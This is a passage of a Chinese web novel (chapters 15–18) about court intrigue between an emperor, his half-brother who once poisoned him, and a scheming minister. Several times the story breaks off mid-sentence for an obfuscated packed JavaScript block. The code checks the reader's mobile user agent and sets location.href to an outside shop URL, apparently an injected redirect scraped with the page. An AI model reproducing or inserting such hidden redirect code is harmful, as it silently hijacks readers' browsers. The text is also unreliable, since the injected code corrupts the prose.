谁想宋邈仍死性不改地回道,“陛下知道臣是山野里长大的,无拘无束惯了,最喜纵马驰骋仰天射云,说是珍稀鸟兽和名贵花草,但是臣看来,与黑风崖上的野草野兽也并无分别,所以恕臣有眼无珠,看不出什么绝妙之处来。” 李修宜点点头,觉得他说得颇有道理,“想来也是,让武将参与文宴,确实是顶没有趣味的事。” 这一回皇帝没有责怪他,说明他的想法是没有错的!宋邈心下生出丝丝暗喜,李修宜在邺城中见惯了那些听话奉承的人,想要成为那个唯一特殊的人就是需要他再大胆放肆一点,即便是被教训过一回了,他仍然还是要这么说。 “大人们纵然文采斐然,可吟诗作对什么的说到底还不是闷头写写画画,像我这般门外汉根本不懂得其中神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171714|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙,自然觉得趣味索然,可搭弓射箭就不一样了,中了就是中了,大家都可看个热闹,也不至于叫这大好春光过于沉闷了。” 宋弘毅差点气晕过去,照着儿子的脑袋就是一拳,向着皇帝连声告罪,“小儿狂妄,还请陛下饶恕。” 李修宜淡淡道:“孩子心性,生来如此,平阳侯不必刻意压制,况且射习也属君子六艺之一,朕也是觉得这春日宴过于沉闷了些,添些趣味也是好的。” 转头吩咐宫人去拿弓箭,将舞文弄墨的文场改成了武场,射杀的便是那些笼子里的飞禽走兽。 宋弘毅生怕儿子闯了祸,连忙去劝,“那里面可是稀奇宝贝的贡品,如此让小儿霍霍不是太可惜了吗?” “畜牲罢了,只是聊作消遣的玩意,死的或是活得都一样。” 宋邈听了更是得意,他拿过下人手中的白羽箭矢,上弦拉紧,风声掠过耳边,“嗖”地一下直直贯穿鸟禽的咽喉,将它钉死在了笼子上,宋邈看着血迹喷溅一地,终于找回了点在望平时的乐趣。 他玩得起劲,顺着小道向前,一路将那些价值连城的鸟兽射杀干净,京中贵族重臣皆掩鼻躲开视线,他们是最不喜欢这些血腥杀戮的东西,太过狰狞丑恶,与文雅丝毫沾不上边,对那无知小儿也是百般看不顺眼,奈何皇帝要纵容他,他们只得在一边勉强给个面子笑一笑。 宋邈一路跑得有些累了,他回头去找李修宜的身影,“陛下!您瞧我的箭术可有进步,是不是能跟您相提并论了。” 李修宜竟孤身站在最后一个笼子跟前,身边并无一人随侍,宋邈跑到这里来,才发现居然是单独相处,没有第三个人在场。 是他故意而为之吗? 宋邈顿时紧张得有些同手同脚,“陛下……” 他含着微微的笑意,“你的射艺很不错,朕的弟弟也最擅长骑射,你可与他相较。” “谢谢陛下夸奖……”宋邈好奇他口里的弟弟是哪一个,从前没有被齐王害死的在李修宜回来之后也已经全部赐死了,当年轰轰烈烈的夺嫡之乱几乎参与过的全部都死了。 “忘了吗?”李修宜的声音波澜不惊,“就是你在祭典那天坑害的那个,朕的弟弟。” 宋邈手里的箭矢猝不及防地坠落在地,他没想到李修宜早就看穿他了,不住得心惊肉跳,“陛下……那次……” “好看吗?”李修宜仍是看着笼子里的鸟禽,头也不抬。 要说好看,这鸟禽绝对沾不上边,黑白斑杂的羽毛,巨大有人身那么大的身体,还有奇异交叠的两只喙,血洞洞骇人的眼珠,宋邈看着看着觉得有些悚然,忽然那双眼睛动了一下,直直地射向他手中的箭,抖得好似得了什么瘟病。 “下去吧。”李修宜似乎对吓到他这件事感到有些无奈。 “是。”宋邈不敢多待,连忙行礼告退。 人走了之后,鸟禽原本战栗的身体更是抖如筛糠,头顶稀疏的羽毛在空中一下一下的摇晃,显得滑稽又可爱,好像在他面前是什么凶神恶煞的东西似的。 “我在问你,好看吗?”李修宜说,“父王。” 15. 死对头x3 上清殿。 齐鄯见端坐于陛座下的矮案前,协助李修宜处理政务。 二人年少相识,志趣相投,说话也没有如旁人那般拘束。 “就这么放过了李璟是让我没想到的,我以为你就算舍不得真要了他的命,怎么说也得叫他再吃一段时间的苦头。” “小惩大诫,已经够了,再打下去真成生死仇人了。”李修宜目不斜视专注于手边的奏折。 齐鄯见不禁眉梢一跳,都这样了,在他手里栽了半条命还舍不得翻脸。 “我说陛下,”他有些不服气了,“怎么你要给季怀一个答复,对我就无所谓了?我这几年也吃了你这好弟弟不少苦头,我就不需要一个答复了吗?” “你不是好端端在这,又没死。” “你这话还有没有人性了?没死就够了吗,忍辱负重三年就换来你这么对我。” 李修宜掀开眼,“你要是一心求死,我也可以如你所愿。” 齐鄯见::“……” “谢陛下,这赏赐还是留给别人吧,我还想多活几年。” 齐鄯见跟随李修宜这么多年,知道他待乐湛不寻常不单单是因为手足之情,更重要的是他是先皇后留给李修宜唯一一个念想,宫中真情可贵,那一点点的真心就显得弥足珍贵,甚至成了精神依托,要李修宜处置乐湛就跟剜心断骨差不多。 “可是陛下有没有想过,即便是宽恕了李璟,往后怎么办?你觉得他尝过了权势的滋味还能安心做你乖顺听话的好弟弟吗?况且他犯的可是谋逆之罪,陛下赏罚不明如何向被他迫害过的萧家答复。” 他的这番谏言李修宜并未没有想过,开了这个头如果不严惩,等于告诉全天下人即便是谋逆皇帝也会饶恕,不立威便不足以御下,朝臣各怀鬼胎都盯着他,李修宜又怎么会不知道赐死乐湛是最好的选择。 若真能舍下这所谓手足之情也就罢了。 那枚坠子还在李修宜手里,浸透另一个人的温度。 他没有办法舍弃这个人,只能不断地给他找借口,他是被逼无奈的,造成邙山祸乱的人即便不是他也会有别人,因为皇帝那时候已经盯上了李修宜,他总归是逃不过这一劫,萧家也逃不过这一劫,乐湛只是一个棋子,因为跟李修宜关系过于密切才被皇帝选中,又被无数双伸手推到人前,他没有办法抗拒。 在这生死场中总是有数不清的不得已,乐湛为了自保做出什么选择他都可以理解。 相比乐湛宁折不弯死在皇帝或者杜获手里,他情愿乐湛背叛他保全自身。 时隔三年,他在正门之后见到乐湛的第一面,比痛恨来到更早的是一种极其复杂说不清的情绪,现在才想起来,原来是高兴,他在皇帝和杜获手里活下去了。 但这些话李修宜不可能说给一个外人听,齐鄯见问起来,他只是说,“他在杀我的时候流了一滴泪,为了这滴泪,我可以相信他是被逼无奈的。” 齐鄯见手里的动作顿住,扭过头看去,“是不是我下次哭一哭,流两滴眼泪,也能被宽恕了?” “你?”话头一离开乐湛,李修宜的声音冷下去,“乱棍打死。” 齐鄯见:“……行。” “我就多余这么一问。” “知道就好。” 太过分了,真的。 “齐大人,好久不见。” 途径岁康宫,慢悠悠的声音从里边飘出来,接着宫门荡开。 齐鄯见闻声回头,就见乐湛倚在宫门边上,姿态慵懒,一身月白锦缎长袍,并未穿得一丝不苟,交领领口微微地敞,墨发未竖,散漫地垂落下来,一只黑背白腹的鸟雀还站在他肩头上,挺起圆润洁白的胸脯傲气地瞧过来。 不出意外的,这位又是在他当权那几年饱经摧残的受害者之一,当年齐鄯见和李修宜交情不浅,所以即便后来二人不知道因为什么事情分道扬镳,齐家又无一人参与邙山之乱,但是对于这个号称天下名士的齐才子,乐湛一直持防备猜疑态度。 得了势之后将其一贬再贬,打发这位名声在外的大才子去边陲小县当了整整两年小典簿,直到后来边郡开始疯传一句“天命出三江,真龙定乾纲”的谶言,还隐隐有募兵的动作,乐湛始觉不对,他不应该将齐鄯见这种人赶出自己能控制的范围。 于是紧急将他又调回京都,直到李修宜破城那日,齐鄯见从始至终也没看见一丝意外之色,好像一切尽在掌握一般,如果这二人早有联系,应当就是在被贬谪那两年。 乐湛再一次搬起石头砸自己的脚。 “还没来得及恭喜齐尚书,蛰伏这么些年终于熬到哥哥回来了,这两个月应该是过得很舒心吧。” 齐鄯见将怀里的典籍案牍拢了拢,含着似真似假的笑意:“那哪能呢,这两个月政务之繁杂抵过了我在陇西那会儿十年的量了,还要多谢王爷给我几年快活日子过过。” “哥哥器重尚书大人,其余人想要这等忙碌还求不来呢。” 齐鄯见现在是李修宜跟前头一号受重用的人,乐湛不妨说两句好话笼络一下他,说不定能让齐鄯见在李修宜跟前进言两句,替他周全一番。 齐鄯见连连摇头,做出愧不敢受的样子,“王爷这话就折煞我了,朝中能臣多如过江之鲫,我也就是凭着从前的情分占个尚书之职混日子罢了,谈什么器重不器重的。” 若论装,他齐鄯见是一等一的能人,当年乐湛自然知道杀了他是最一了百了的办法,但是这混蛋总能躲过每一次针对太子旧党的围剿,不是打算隐居辞官,就是病重不起,装孙子他是有一手的。 “这故作谦虚的话,齐尚书在我面前说就见外了吧,现在谁不知道你是哥哥的肱骨之臣,就连宋邈一流都敢侍宠行凶,若论功劳,你才是头一号的人物,又在这畏首畏尾些什么呢。” 齐鄯见像是害怕被报复,做出一副大惊失色的样子,“王爷快别抬举我了,这可不关我的事啊,我一介文人,肩不能挑手不能拿,我能知道些什么?顺势而为罢了。” “天命出三江,真龙定乾纲,”乐湛含着友善的笑意,步步朝他迈进,“不正是你的手笔吗?” 齐鄯见怀里抱着的案牍噼里啪啦掉一地,像是心虚又像是害怕,“我不知道啊,我只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171715|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个无足轻重的文人,成不了什么大事啊。” 乐湛帮他将地上散落的案牍一卷一卷地捡起来,“别急啊,我又没说要对你干什么,你在哥哥面前风头正盛,我跟你对着干不是找死吗,是不是?” 齐鄯见畏畏缩缩接过他手里几卷掉落的案牍,谁想两人凑得正近的时候,乐湛忽然抬头,看进了齐鄯见那双眼里,“齐大人,有些话我不敢去问哥哥,我只能来问问你,至少让我知道我错在哪一步。” 齐鄯见缩着肩想撤,但是乐湛抱着他怀里的案牍还没动手,要是强行退两步只怕又要掉落一地,堂堂八尺的身形居然在矮他一头的乐湛面前显得毫无气势。 姿态虽是畏缩的姿态,说出口的话却带着清明的调笑之意,“王爷以为呢,你错在哪一步?” 乐湛怔惘一瞬。 他错在哪一步,他到现在也没想明白,明明那鸩酒是他亲手喂李修宜喝下的,他的尸骨至今应该还埋在王陵里,怎么会神不知鬼不觉地出现在了边郡。 但是这个问题直接问李修宜基本跟找死没有区别。 “错在……”乐湛视线向上,似是在回想,“不该将你放虎归山贬谪陇西,你是在那时候跟李修宜取得联系的?” 齐鄯见微笑,几乎等同是默认,就在乐湛快要确信的时候,他微微摇头,“再猜。” “邙山之乱?”乐湛不确信道,那是一切祸乱的开始,总没有比这更早的了。 齐鄯见仍是微笑。 他既不说是也不说否,就让乐湛自己意会,会到什么结果他最后都会故作懵然地说一声,“我不知道啊,这可不是我说的。” “齐鄯见!”乐湛被他存心逗弄的行为惹恼了,没忍住呵斥一声。 “连这点耐心都没有,王爷还是别来为难我了,”齐鄯见从他手臂里将所有的案牍揽过,“反正你们不是早就冰释前嫌了吗,有什么话,直接问陛下,想来也是没关系的。” 话罢就要转身朝着藏书的昭文殿去了,乐湛赶紧拉下他认不是,“齐大人莫怪,我若是能问哥哥,何必在这里麻烦你呢,我现在的处境多如履薄冰你又不是不知道,虽然被免去一死,但是不知道哥哥这几年怎么过来的就不能知道他心中所想,我又怎么安心呢,就当是日行一善,给我个准信吧,好不好?” 齐鄯见脸上笑意愈浓,活像只披着笑面的狼,“王爷这就言重了,”他看了眼天色,“不过你的时间似乎不多了,要尽快啊。” 乐湛跟着匆匆瞥了一眼,赶紧回过了神,怕他再打哑谜,问得更直白干脆了些,“你是什么时候知道李祯没死的?陇西那两年还是邙山之乱后。” 齐鄯见微微地笑着,不得不说,李修宜的手下和他本人都很像,都是顶能装的人,不论何种情绪何种性情,让你看到的都是他们想让你看到的面目。 “错了,”齐鄯见缓缓道,“还要更早。” 还要更早? 比邙山之乱还要更早? 乐湛不是蠢货,只要提点两句,他就知道齐鄯见的意思。 李修宜是诈死,一开始就打定主意要诈死。 16. 小四变小五 那声音清晰而沉稳地传入乐湛耳中,乐湛心驰神摇下不自觉小退一步。 现在回想起来才发现自己真是太蠢了,分明是从一开始就错了,他怎么会认为李修宜是那种为了所谓孝道愿意将手里的权柄交出去任由他人主宰生死的人。 李修宜死后又发生了什么? 皇帝伤心过度,迟迟不愿定下新储,李修宜死后所有人都想觉得自己有一争之力,十几个皇子之间彼此攻伐,争权夺位,时逢大梁战乱,数不清的党系政派就此崛起,互相攻讦侵占,政权几乎分崩离析,也是因此导致民生凋敝。 杜获伙同四王李琰,九王李璟打压其余势力,又在李璟的挑唆下觉得一直拥护的四王李琰不受控制,杜获将自己的亲侄子废了后竟动了改朝称帝的野心,自封相国,入朝不趋,异心人尽皆知惹得朝臣贵族不满。 李璟就此打着维护梁王室的旗号揽尽党羽,扩大势力直到足够跟杜获分庭抗礼,二人僵持三年之久。 这期间所有人都满身脏污罪恶,背负了祸乱的罪责,逃不脱的民怨怒骂,只有李修宜,只有早早的死在了邙山的李修宜还是清清白白一尘不染的。 连年的战乱祸乱下,民众期盼一个仁君平定乱局,扶狂澜于既倒,李修宜坐山观虎斗了三年,在所有的阻碍互相侵吞得差不多了,他承载着万众期待卷土重来,几乎不费吹灰之力获得民心。 这一招急流勇退又和当年主动交权为先皇后守陵多像,乐湛待在李修宜身边这么多年,居然还是没看出来。 乐湛又一次想起了无重楼上李修宜无意露出的生冷藐视的表情,像是意外被风吹起的假面,还没来得及看清重又覆了下去,或许那一次他没看错,李修宜本就该是那样的人,是他一直没看清。 “所以我不是说过了吗,我是最无足轻重的。”齐鄯见觉得他沉思回想的样子很有意思,像是某种警惕又强作冷静的小动物。 乐湛又没忍住咬住指尖,尖牙渗入皮肉,有丝丝血迹染上唇,他想不明白,为什么? 在邙山之乱前,他从来没有正面跟李修宜撕破脸,更没有在他面前表露一点异心,他要诈死,为什么齐鄯见知道内情却将他瞒得死死的? 李修宜在防备他,从一开始就是。 即便是现在宽恕了他,但是疼爱和防备在李修宜心里是并行不悖的两件事,就像乐湛不知道李修宜是什么时候开始防备他的,乐湛也不敢保证李修宜的杀心会在今后的哪一刻萌发。 他看不清李修宜,从来都看不清。 乐湛骤然从惘想里拔出神,抓住齐鄯见的小臂,急切问道:“齐大人,能请你帮我个忙吗?” 他现在能想到的最好的下场就是李修宜尚还顾念旧情,放他去为先皇后守陵,想到这里他不自觉摸了摸空荡荡的脖子,那个白玉虎头坠子至今还在李修宜手里,他觉得现在的乐湛不配戴着先皇后给的东西,这条路想来是行不通的。 “可不敢当可不敢当。”齐鄯见往后退了一步,作势要溜。 “站住!”乐湛一把擒住了他的手臂。 果然一介文弱书生,被乐湛这么一拽险些没跌倒了,案牍掉了一地,他腾出手匆忙扶住冠帽站稳了,“我哪有那个胆子帮你,齐王还是放过我吧。” 乐湛后知后觉自己这是有求于人,态度应该温和一点才是,“又不是让齐尚书背着哥哥做什么见不得人的事,这么着急跑干什么?” 齐鄯见蹲下身,将案牍一卷一卷揽进臂弯,借而避免跟乐湛正面对上,刚伸出去拿案牍的手立刻被一只素白莹润的手虚虚握上,齐鄯见整个人顿住。 乐湛见他没有抗拒抽出手,说明还有商量下去的余地,“齐尚书是难得的忠直之臣,就算我不说,大人其实心里也清楚,即便哥哥仁厚才免我一死,但以我犯下的罪行来说已经不适合呆在邺城,更不适合呆在宫里,只要我一刻还待在哥哥身边,就时时刻刻提醒哥哥有徇私枉法之过,实在是有碍哥哥英名,这肯定也不是忠义如齐尚书你愿意看到的是吧。” 乐湛握住齐鄯见的手缓缓蹲下,平视着他,满脸交心的真诚。 齐鄯见似是在微笑倾听,眼里却是审度的意味,“齐王这是有求于我吗?怎么叫人听出了一股威胁之意呢?” “自然是请求大人,”乐湛另一只手也跟着握上,虔诚无比道,“向上谏言也是您的分内之事不是吗?只需要到哥哥跟前说上两句衷心之言让我离开邺城,就算将我也贬到陇西也没关系,也叫我尝尝你当年的失意困苦,于公于私对你都没坏处。” “按理来说,你与陛下朝夕共处的时间比我长,你应该是最明白的,在陛下面前耍小心思没有好处,”齐鄯见试着抽出手,眼见乐湛握的更紧了,心中又是不耐烦又是好笑,“陛下既然力排众议保下了你这条命,那么在很长一段时间内你都可以高枕无忧,只要你老实些,别生出不该有的心思,你这条命谁也拿不走,也求不着我。” 要是在这时候动了兴风作浪的念头那可就说不准了。 这可谓是对他最衷心的提点了,乐湛听明白了他的意思,但仍是不肯放手,“但我总不可能一直待在李祯的眼皮子底下,我只是想去到封地自生自灭一辈子,这也算是不该有的心思吗?” 他微微抬起眉头,那道秀丽浅淡的眉梢微微低垂,竟是显得有些哀求委屈。 齐鄯见垂眸看了一眼乐湛紧握住他的手,很不合时宜的想起多年之前出现在李修宜身上的坠子,一只白玉虎头,那洁白剔透的色泽和这双手多像。 “没办法,小孩太闹人了。” 在此之前,齐鄯见仍很不理解李修宜,他是极端理性的人,却为了他这异母的弟弟一次次打破规矩,可是现在看来,好像也不是完全不能理解。 “帮你可以,你又该拿什么来酬谢我呢?”齐鄯见眯眼笑笑,“王爷知道的,我从来不做亏本的买卖。” “齐尚书认为呢,我身上有什么东西是你看得上的?” 齐鄯见低低哼笑一声,“我看得上的?” 听上去怪容易叫人误会的。 他的目光在乐湛认真询问的脸上一寸寸梭移,不知道他是真的坦率还是故意装作懵懂无知的样子。 不知怎么的就想起了祭典那日,亲眼乐湛跟李锦玉纠缠在一块的那一幕,当时他站在不近不远的位置,将里头的春光尽揽眼底,很是幸灾乐祸去看李修宜的表情,下一刻身边这人就大步冲了出去,怒火险些将他燎着了。 直到现在李锦玉还在那大狱里呢,齐鄯见再蠢也不会因为一时兴起去布他的后尘,但是调戏一下总是没关系的。 乐湛看见他忽然伸手向他,目光为之一震,赶紧后退一步躲了,“你?” 即便他不是断袖,但也绝对不是感情迟钝的人,他想起来那一日李锦玉的眼神,此刻的齐鄯见就恰似那日忽然发猪瘟的李锦玉。 见他躲避,齐鄯见动作一顿,手在半空指了指他肩膀上的玄羽鸢,“我看着鸟倒是稀奇,怎么了?以为我要对你行不轨之事?” 原来是他以小人之心度君子之腹。 乐湛难堪得脸红垂头,都怪李锦玉给他留下这么一个阴影,搞得好像他是个做贼心虚的断袖一般。 “原来在齐王心里我就是这么一个腌臜无耻之人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李修宜沉思片刻,似乎真的在认真考虑这件事。 齐鄯见:“……” “陛下……” 让你别把我当人你还真不把我当人啊! “或许真是我教训做得太过了,”李修宜问询齐鄯见的意见,“你觉得呢?” 齐鄯见张口欲言,欲言又止,良久之后还是选择先撇清关系,“这可不是我建议的,这总不关我的事了吧。” 李修宜不耐又略带威胁地眯眼,齐鄯见也不再插科打诨,做了个认输的手势,“臣一早就说过,留下齐王一条命不好办,且不论萧家的态度,就说他自己,骤然从云端跌下来,你身边的功臣少有不对他怀揣敌意,放他离京对大家都好。” 话里透露着一股“孩子大了,该放手时就放手吧”的苦口婆心,不单是在给乐湛做打算,也是在为皇帝考虑。 李修宜抬眼,黑白分明的眼里没有一丝动摇犹豫,他很少为自己的选择两相迟疑过,“只要我想,就不会有人敢动他一根头发丝,这不是理由。” 齐鄯见见此情形不再劝说,再多说一句便是僭越,小臂搁在膝头,调笑两句,“早说过了我的话没什么作用,我就纳闷了,这些话李璟怎么不去求你这个好哥哥,反倒来跟我这个外人讲,也不想想我哪有哪个胆子置喙你们兄弟俩的事。” 李修宜落笔的动作顿住。 又是这样,宁肯去求一个外人也不肯来求他,是觉得那些外人比他更能靠得住吗? 齐鄯见注意到皇帝罕见地黑了脸,玩心大发,还在找死说道,“陛下是不知道,昨日李璟非要将那只玄羽鸢送给我,说了不要不要,硬往我手里送,真是怎么样都推却不了,真叫人苦恼,陛下从前应该也有不少这种苦恼吧,我现在是体会到了,果然闹人……” “滚。” 坏了玩大了,这回真刺激到皇帝了。 齐鄯见赶紧收拾案牍滚蛋了,再晚点只怕要被乱棍打死了。 17. 噩梦半醒 前些天拜托齐鄯见的事至今不见回信,好像一颗石子坠入深潭,一点波澜也没能激起,要么齐鄯见压根没当一回事,要么李修宜驳回了他的请求。 皇帝将他晾在岁康宫,好似全然忘了他这么一号人,却是天天让人将赏赐往他宫里搬,一会儿是珍稀鸟禽,一会儿是南海珊瑚株,一会儿又是吐蕃进贡的瓜果,生怕他嫌闷吵着要出宫似地,天南地北的稀罕物什全往他宫里塞,将好好的一个宫殿塞成了花鸟市集,一路走进来鸟语花香的,宫人们在花叶中穿梭倒是别提多快活了。 “王爷,该喝药了。” 乐湛恹恹地趴在床上,手臂下面垫着软枕,阴潮的梅雨季让背上的痂结得格外困难些。 前些天几棍子下来被伤着了根本,后面细心调养了些时日,总恢复不到从前那般状态,再加上本就体弱,这三年的积劳和殚精竭虑下来已经将身体拖得差不多了,从前是时局所困,时刻被杜党扼住脖颈不敢倒下,现下心态上稍微松懈了些,反倒来势汹汹地病起来,要将从前所亏欠的债一并讨要回去一般。 乐湛接过药碗,一口气喝下,丝毫不敢停顿,一停那胃里翻腾的苦味就要涌上喉口。 喝完捂着嘴缓了好一会才将空碗递还给宫人,宫人递上蜜饯给他清清口,乐湛摆手,“不必了。” 他不单是先天不足,还因为还没满月就没丢进诏狱里自生自灭了几天,被萧复雪抱出来的时候已经危在旦夕,身体都僵了一半,是满殿御医拼尽一身医术才将他这条命强留了下来。 从小到大什么汤药都吃遍了,乐湛早已经习惯了苦味漫过舌尖的感觉,从前母后总会先备上一些蜜饯果子之类的,等他喝完压压苦味,后来乐湛连带着甜食都不是很喜欢吃。 这药有严重嗜睡的余弊,喝下没一会药性就上来,哈欠连哈欠的。 意识昏沉之际,乐湛脑子里忽然冒出那个黢黑的指甲壳,背面还带着粘黏的血肉,已经发黑发干,只怕是被硬拔下来的。 乐湛不自觉攥紧手指,那东西已经被他包起来偷偷埋在后院的角落,装作什么也没发生过,什么也没看见过。 要是李修宜哪天发现他并不无辜,也没有什么被逼无奈,他只怕会死的更惨。 梦中又回到了元成二十一年冬,乐湛只身站在冰封万里的邙山上,雪落了他一肩。 手中的剑不断有血迹滴下,落在了被踩踏碎乱的雪地里,灼穿了一个个血洞,他脸上是惊惘到了极点后的空白,血迹从发际蜿蜒流入眼中,他眨也不眨地盯着一个方向。 在他的视线里,一队轻骑从山脚飞驰而来,赤红的御马在冰天雪地里飞奔,践碎了冰层,露出里面血红的狼藉。 皇帝亲侍高举诏书大喊,“陛下有令!太子谋逆其罪当诛,朕谅其一时错失,若认罪伏诛亦可饶其一条性命!” 乐湛浑身血液冷遍。 直到这时候他才意识到,他被算计了,皇帝压根没有打算杀李修宜,他只是想借着谋逆的名义清算萧家,他就这么愚蠢地沦为了皇帝制衡太子一党势力的棋子,成了鞭策李修宜的磨刀石。 凭什么?明明都是父王的儿子,为什么他能偏私到这种程度?他不甘心,他不甘心! 宫侍跳下马来,“九王接旨,陛下有令……” 乐湛眼中一丝凶恶一闪而过,倘若今日不杀李祯,他必然有东山再起的那一天,更何况李祯还知道他不可告人的身世,只有杀了他,自己才能取代他的一切,只有杀了他,自己才能高枕无忧。 只有杀了他! 乐湛一剑将传令宫人砍翻在地,夺过他手里的圣旨,扣在手心里,捏的死死的,直到遍是血污的指节浮出骇人的青白。 远处厮杀仍在继续。 那一日,邙山上的暴雪持续了一天一夜,直到所有的逆党被剿杀殆尽。 积雪已经彻底将昨晚激烈厮杀后的狼藉掩饰干净,只显现出尸首横陈的轮廓,还透着几缕隐约血色。 天将亮时,一弯细得几乎看不见的月牙还挂在树梢上,太阳光透过枝桠的密层,斑斑驳驳地落了李修宜满身。 杂沓的脚步声已经逼近,羽林军层层叠叠围上来,刀枪剑戟的寒光照进他残留杀意的眼底。 李修宜持剑跪立,周身是密密麻麻的尸首在他脚边堆成小山,羽林军虽然是为平叛而来,到底眼前这位身份尊贵,没有人敢真的对他下死手。 “放肆!把剑都放下,父王未说废黜,这位仍是皇太子,岂容尔等冒犯。” 声音从最后方传来,下一刻军士就已经放下兵器,自觉如潮水向两边退去,为他辟出一条毫无阻碍的大道,乐湛缓步走到李修宜身前。 李修宜原本还能强作镇定的面容瞬间四分五裂,从极深极刻骨的仇恨里挤出一个笑来,“我当你不敢来了。” 装了十几年纯良无害好弟弟的乐湛看到他恶鬼一般的脸,下意识竟然是害怕,几乎本能地往后瑟缩了一步。 不过即刻就意识到今时不同往日了,李修宜已经不是高高在上的太子,自己也不需要再看他脸色。 “我得来啊,多年的手足之情,说什么也得来送哥哥最后一程,”军士端上一壶鸩酒和杯盏,乐湛亲手为李修宜斟了一杯酒,递到他嘴边,做出万般无奈的样子,“哥哥也别怪我,我奉的是父王的命令,父王之令我不敢违逆。” 李修宜垂下眼睛,目光落到毒酒上,却并未接过,而是托起乐湛的手,抬到嘴边一饮而尽。 乐湛瞳孔震缩,下意识的竟要去拦,可想到了什么,又收回了动作。 在他的设想里,李修宜该暴怒,他该摔了毒酒怒声质问我到底有哪里对不住你,该指着他的脸大声斥骂他是个忘恩负义,恩将仇报的贱人,甚至是一剑捅进他的心窝跟他同归于尽,但他没有,他只是这样淡然无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那张脸是乐湛每每梦到都会从午夜惊醒的噩梦,只有一遍遍刨开李修宜的坟,一遍遍确定他死得不能再死,看到那具尸体在眼皮子底下腐烂生蛆,乐湛这才能安枕片刻。 但他从没有想过,李修宜还有活着回来的那一天。 当季怀高举着皇帝诏书,宣布迎太子入正阳门那一刻,乐湛便知大势已去。 城门轰然开启,李修宜率大军过境,浩浩汤汤的脚步声与厮杀声如涛涛江流,将他的口鼻淹没,乐湛几乎没法呼吸,隔着重重人影在眼前厮杀,下跪,奔逃,那振聋发聩的声音一时间也奄下去了。 无数的人里,他只能看见李修宜,看见那张跟梦里分毫不差的脸。浑身的血液几乎在一瞬间冷遍,胸膛里那颗心脏苟延残喘地狂跳了两下,爆裂了似的再也不动了。 乐湛腿一软,跌坐在地,似乎很难相信他眼前看到的东西,喃喃自语,“李祯……” 他回来了。他还是回来了,真的从最深沉的梦魇里爬出来,来找他索命来了。 心口的绞痛强行打断了噩梦,乐湛倒吸一口气,骤然睁开眼,刚从冷汗涔涔的噩梦中惊醒,还没缓过神,转眼就看见了只存在于梦中的那张脸竟分差不差地就站在他眼前。 “醒了?”李修宜以为是他发出的动静惊到乐湛了,温声淡淡地安抚道:“是我。” 乐湛脸上的惊吓一分不少。 怕得正是他。 18. 冰释前嫌 药效的作用叫脑子更不清醒了点,浆糊似的搅成一团,竟没能压制住身体下意识的反应,乐湛再后悔已经晚了。 李修宜虽然面上没什么情绪,却是直起了身,两人之间的距离再次隔了道天堑。 乐湛抬手拉住李修宜的袖子,白皙的脸上划过一滴说不清是眼泪还是冷汗的水痕,面上水光盈亮,还残留着惊梦之后的余悸,“哥……” “做噩梦了?” 乐湛不说话,得寸进尺地往上攀住李修宜的手臂,撑着床榻探出上身,将额头抵在他腰腹的位置,好像只有这样才能感受到一点安全感似的。 乐湛将脸埋在李修宜身前,默不作声地哭起来,生怕被推开似的,手上攥得死死的,指节发青几乎刺透了皮表。 李修宜静默地等待他平复情绪,手扶住乐湛的脸侧,指尖拭去他脸上肆意横流的泪,“好了,多大的人了,哭哭啼啼像什么样子。” “哥,”乐湛主动拿脸贴住他的宽大的手掌,声音还带着点哭腔跟剧痛过后的微哑,“你能回来真的是……太好了。” 头顶上一片死寂,乐湛不敢抬头看他的表情,只一味软弱地哭着。 “我不是真的要杀你……我只是太害怕了……我没有选择……其实我早就后悔了。” 呜噎的啜泣声里夹杂着几句前言不搭后语的零碎话,李修宜喜欢看他装成纯洁无害的好弟弟,台阶已经给找好了,他又有什么理由不配合呢,反正这么多年还不是这么装过来的,差这一次的吗? 想要李修宜去死的是先帝,和他李乐湛有什么干系,他只是一个没有选择的棋子,他本就该是这般无辜。 乐湛含着泪眼抬头,便真就无辜到了极点,“哥哥,我知错了,我真的知错了。” 其实这些话并非全是虚情假意,其中也有真心实意的地方,只不过被当做服软求生的条件被拿出来,难免显得惺惺作态。 李修宜将他浸湿了贴在脸上的鬓发抚上去,露出整张泪光盈盈的脸,哀中带怕地瞧着他。 他知道他在骗他,他也知道他知道他在骗他,两个人就这样默契地撑着表面功夫,稀里糊涂地互相骗下去,大家都需要一个幌子好当做什么也没发生过。 可那又有什么重要的,只要能回到从前,虚情假意又如何,自我欺骗又如何,重要的不过是眼前这个人。 李修宜一直觉得他们是有血脉相连的地方,靠的不是先帝李崇烨,而是他们的母后,就像是广袤无垠草原里的两颗并肩的古木,树冠繁茂参天,遮天蔽日,根系死死地纠缠在一起,一起扎根万丈之深,他们互相争夺养分,互相竞争却也互相依存,一棵被连根拔起了那么另一棵也无法独自生存下去。 只要他才是这个世上最能明白乐湛心中隐痛的人,只有他。 